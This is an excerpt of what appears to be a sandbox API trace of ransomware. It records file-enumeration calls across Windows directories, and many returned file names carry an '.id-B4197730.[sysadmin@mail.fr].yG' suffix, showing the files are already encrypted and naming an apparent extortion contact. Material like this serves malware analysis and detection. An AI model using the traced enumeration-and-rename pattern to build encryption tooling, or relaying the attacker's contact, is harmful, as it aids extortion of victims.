	[0134.017] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a0ec4dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a0ec4dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a517d9f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARAME~1.YG")) returned 1
	[0134.017] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99efb65a, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99efb65a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x99fba20b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="RGB9RA~1.YG")) returned 1
	[0134.017] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x99fe0595, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x99fe0595, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a0c5303, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="RGB9RA~2.YG")) returned 1
	[0134.018] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a0ec4dc, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a0ec4dc, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a137e40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPE~1.YG")) returned 1
	[0134.018] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a137e40, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a137e40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a184498, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPE~2.YG")) returned 1
	[0134.018] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a1f6c0d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a1f6c0d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a327e99, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPU~2.YG")) returned 1
	[0134.018] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a0c5303, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a0c5303, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a4f1b18, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPU~1.YG")) returned 1
	[0134.018] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a28f5aa, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a28f5aa, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a3743f2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SETUPU~3.YG")) returned 1
	[0134.018] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a1aa6cd, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a1aa6cd, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a1f6c0d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SPLASH~1.YG")) returned 1
	[0134.018] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a34eff3, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a34eff3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a39a83d, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="SQMAPI~1.YG")) returned 1
	[0134.019] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a1f6c0d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a1f6c0d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a3743f2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="STRING~1.YG")) returned 1
	[0134.019] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a39a83d, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a39a83d, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a432eca, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="UIINFO~1.YG")) returned 1
	[0134.019] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9a40cdeb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a40cdeb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a4f1b18, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WATERM~1.YG")) returned 1
	[0134.019] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x9b18c4f5, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WINDOW~1.YG")) returned 1
	[0134.019] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x9b103a82, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WINDOW~2.YG")) returned 1
	[0134.019] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x9b79842b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WINDOW~3.YG")) returned 1
	[0134.019] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x9b79842b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WINDOW~4.YG")) returned 1
	[0134.020] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x9b79842b, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="WINDOW~4.YG")) returned 0
	[0134.020] FindClose (in: hFindFile=0x508de0 | out: hFindFile=0x508de0) returned 1
	[0134.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38a0e08 | out: hHeap=0x4f0000) returned 1
	[0134.021] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0134.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38a0e08
	[0134.021] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5dd6c0
	[0134.021] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0134.023] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1
	[0134.023] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0134.023] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0134.023] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0134.024] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0134.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.024] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd740
	[0134.025] FindNextFileW (in: hFindFile=0x5dd740, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.025] FindNextFileW (in: hFindFile=0x5dd740, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.025] FindNextFileW (in: hFindFile=0x5dd740, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0134.025] FindClose (in: hFindFile=0x5dd740 | out: hFindFile=0x5dd740) returned 1
	[0134.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.025] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0134.025] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9a459231, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9a459231, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9a459231, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="BOOTST~1.YG")) returned 1
	[0134.025] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1
	[0134.025] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0134.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.025] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0134.027] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0134.027] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0134.027] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0134.028] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0134.028] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0134.028] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0134.028] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0134.028] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0134.028] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd280
	[0134.029] FindNextFileW (in: hFindFile=0x5dd280, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
